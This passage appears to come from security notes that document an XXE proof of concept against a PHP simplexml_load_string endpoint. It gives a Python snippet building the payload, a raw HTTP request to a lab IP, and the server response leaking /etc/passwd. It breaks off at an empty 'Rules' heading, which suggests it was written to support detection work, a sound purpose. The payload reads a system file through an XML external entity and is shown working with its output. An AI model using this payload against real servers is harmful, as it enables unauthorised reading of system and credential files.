xml (/etc/passwd)

- Poc :

```
        target = urljoin(self.url,"/simplexml_load_string.php")
        http_body = '''<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY
xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>'''
```

```
POST /simplexml_load_string.php HTTP/1.1
Host: 172.16.252.2:6732
Accept-Encoding: identity
Content-Length: 149
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Referer: http://www.baidu.com
Cache-Control: max-age=0

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>HTTP/1.1 200 OK
Host: 172.16.252.2:6732
Connection: close
X-Powered-By: PHP/7.0.30
Content-type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

- Rules :